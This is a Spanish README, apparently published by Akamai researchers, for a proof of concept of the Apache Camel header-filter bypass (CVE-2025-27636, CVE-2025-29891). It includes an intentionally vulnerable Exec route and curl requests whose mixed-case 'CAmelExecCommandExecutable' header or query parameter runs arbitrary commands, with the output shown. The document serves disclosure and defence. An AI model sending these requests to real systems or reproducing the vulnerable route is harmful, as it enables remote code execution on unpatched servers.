
Prueba de concepto que demuestra la ejecución remota de código en Apache Camel mediante la explotación de bypasses de filtrado de cabeceras y parámetros (CVE-2025-27636, CVE-2025-29891) a través del componente Exec.
CVE-2025–27636 y CVE-2025-29891 son vulnerabilidades en Apache Camel que afectan a las versiones: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. La explotación de estas vulnerabilidades puede permitir a los atacantes ejecutar métodos internos de Camel.
Lo siguiente es una aplicación vulnerable de muestra que utiliza el componente Camel Exec, el cual puede ser explotado para lograr RCE. Otros componentes de Camel podrían ser explotados de manera similar.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
La aplicación expone un endpoint HTTP que está pensado para ejecutar el comando "whoami" y devolver el resultado al cliente. El componente Camel "Exec" está configurado para ejecutar el comando, que está definido estáticamente en el código.
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
A pesar de que el comando es estático, podemos sobrescribirlo pasando el encabezado CamelExecCommandExecutable, que (como se especifica en la documentación) sobrescribe la URI estática. Se supone que Apache Camel filtra dichos encabezados, pero debido al manejo incorrecto de mayúsculas y minúsculas, pasar el encabezado "CAmelExecCommandExecutable" omite el filtro.
Ejecutar el siguiente comando sobrescribirá el comando estático "whoami" y, en su lugar, ejecutará un comando arbitrario:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
También podemos pasar argumentos especificando el encabezado CamelExecCommandArgs:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CamelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
Si pasamos el encabezado "normal", notaremos que la explotación falla y el comando estático "whoami" se ejecuta con normalidad:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
Originalmente, se creía que los encabezados de solicitud eran el único vector de explotación. Sin embargo, el equipo de investigación de seguridad de Akamai informó de un vector adicional al equipo de desarrollo de Apache Camel, lo que llevó a la asignación de CVE-2025-29891. Este problema se origina en el mismo fallo de filtrado que CVE-2025-27636 y permite invocar métodos internos a través de parámetros de solicitud.
En el siguiente ejemplo, podemos ver que especificar el parámetro de consulta “CAmelExecCommandExecutable” conduce a la ejecución arbitraria de comandos, al igual que el vector original de encabezado:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
El parche original que se implementó para corregir CVE-2025-27636 también resuelve este problema, por lo que las aplicaciones que utilizan versiones actualizadas de Apache Camel no son vulnerables a este vector de explotación.
Copyright 2025 Akamai Technologies Inc.
Con licencia bajo la Licencia Apache, Versión 2.0 (la "Licencia"); no puede utilizar este archivo excepto en cumplimiento de la Licencia. Puede obtener una copia de la Licencia en
http://www.apache.org/licenses/LICENSE-2.0
Salvo que lo exija la ley aplicable o se acuerde por escrito, el software distribuido bajo la Licencia se distribuye "TAL CUAL", SIN GARANTÍAS NI CONDICIONES DE NINGÚN TIPO, ya sean expresas o implícitas. Consulte la Licencia para conocer el lenguaje específico que rige los permisos y las limitaciones bajo la Licencia.